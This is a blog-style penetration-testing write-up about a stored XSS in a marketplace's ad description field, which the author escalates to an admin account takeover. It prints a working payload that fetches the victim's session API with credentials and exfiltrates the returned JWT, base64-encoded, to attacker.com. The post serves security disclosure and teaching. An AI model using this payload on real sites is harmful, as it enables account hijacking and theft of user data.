Stored XSS leads to Zero-Click Account Takeover

Senior Student of Computer Science | 21 y/o Web Application Pentester My HackerOne Profile: https://hackerone.com/amir_shah
Hey, yolo guys!
Long time no chat! As we already know, bug bounty is a scam (just kidding 🙂). I recently started doing penetration testing for startups in my country. In this case, it was an online marketplace, where I discovered eight security vulnerabilities (you know, you can usually find many bugs in such applications, so nothing too crazy).
I followed an ethical testing process and privately reported findings to the team. In this post, I focus on one of them, a particularly cool and critical vulnerability one.
Stored XSS Leads to Admin Takeover, Compromising the Entire Application
The application allows users to post items for sale. When creating a new ad, users can add a description. which is later displayed inside a <p> tag without proper sanitization. I’m not sure why our developers love doing this — maybe it’s to support markdown or rich text — but please, don’t do this anymore. This design choice often leads to stored Cross-Site Scripting (XSS) vulnerabilities. In this case, it allowed me to inject JavaScript code that executed in the every one’s browser even admins, effectively giving me control over the admin account and the entire application.
So, I clicked on add a new ad and then intercepted the request with Burp Suite, As you can see the description parameter accepts value in <p> tag, here you should think, the app accepts HTML, so lets inject a JavaScript code as well, which what i did here.

I changed the description value <p> to an XSS payload like <img src=x onerror=alert(origin)>, which popped up an alert to show the existence of the vulnerability. I then noticed that the JavaScript code was triggered. Now it was time to escalate this XSS to something impactful.
Exploiting the XSS, and Takeover admin’s account
Here I observed the application’s HttpOnly cookie flag was set, so we could not steal victims’ cookies to hijack their accounts. However, I noticed the application sends an HTTP request to an API endpoint that generates a JWT used to authenticate further requests. What I needed was to send an HTTP request with the victim’s cookie and forward their JWT to my server.
Something like:
GET /api/auth/session HTTP/1.1
Host: site.com
User-Agent: Mozilla/5.0
Accept: application/json
Cookie: session_id=abc123xyz456; auth_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
Connection: close
in its response:
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 312
Cache-Control: no-store
Pragma: no-cache
{
"user": {
"id": 42,
"email": "user@site.com",
},
"access_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOjQyLCJlbWFpbCI6InVzZXJAc2l0ZS5jb20iLCJleHAiOjE3MDAwMDAwMDB9.Km4rX0_fake_signature",
"token_type": "Bearer",
"expires_in": 3600
}
As I said before, the cookie was HttpOnly, but it was also set to SameSite=Lax. As a result, we were able to send requests on behalf of any user with their cookies automatically included. Since an XSS vulnerability was present, we bypassed the same-origin policy and gained access to the response, allowing us to steal users’ JWT tokens.
We could do this with bellow payload:
<img src=x onerror='var data=\"\";(function(){const e=new XMLHttpRequest();e.open(\"GET\",\"https://site.com/api/auth/session\",true);e.withCredentials=true;e.onreadystatechange=function(){if(e.readyState===4&&e.status===200){data=e.responseText;new Image().src=\"https://attacker.com/?c=\"+btoa(data);}};e.send();})();'>
It was a minified version. I did this to avoid breaking the JSON format. Below, you can see the JavaScript code in an easy-to-read format. As you can see, it sends a request with cookies included and then sends the response to our server encoded in base64.
<img src=x onerror='
var data = "";
(function () {
const e = new XMLHttpRequest();
e.open("GET", "https://site.com/api/auth/session", true);
e.withCredentials = true;
e.onreadystatechange = function () {
if (e.readyState === 4 && e.status === 200) {
data = e.responseText;
new Image().src =
"https://attacker.com/?c=" + btoa(data);
}
};
e.send();
})();
'>
As you can see In the image below I injected my payload and sent the request. After a few seconds I got the admin’s token on my server — completely hacked the admin. It felt like a CTF on Hack The Box :)


I blurred the admin’s token in the above image to de-identify her . Then I base64‑decoded it and extracted the JWT token, and tried making requests. With admin privileges I could list all users, delete them, edit them, or basically do whatever the application allowed. With this, I compromised the entire application.

Here, Listing all registered users in the application.
I hope you liked it, because I really did. It felt a lot like solving a CTF challenge where a bot (acting as an admin) triggers your XSS. In this case, the admin was actively reviewing posts, so my payload executed directly in the admin’s browser.
Until the next one…
Be happy, Be nice !



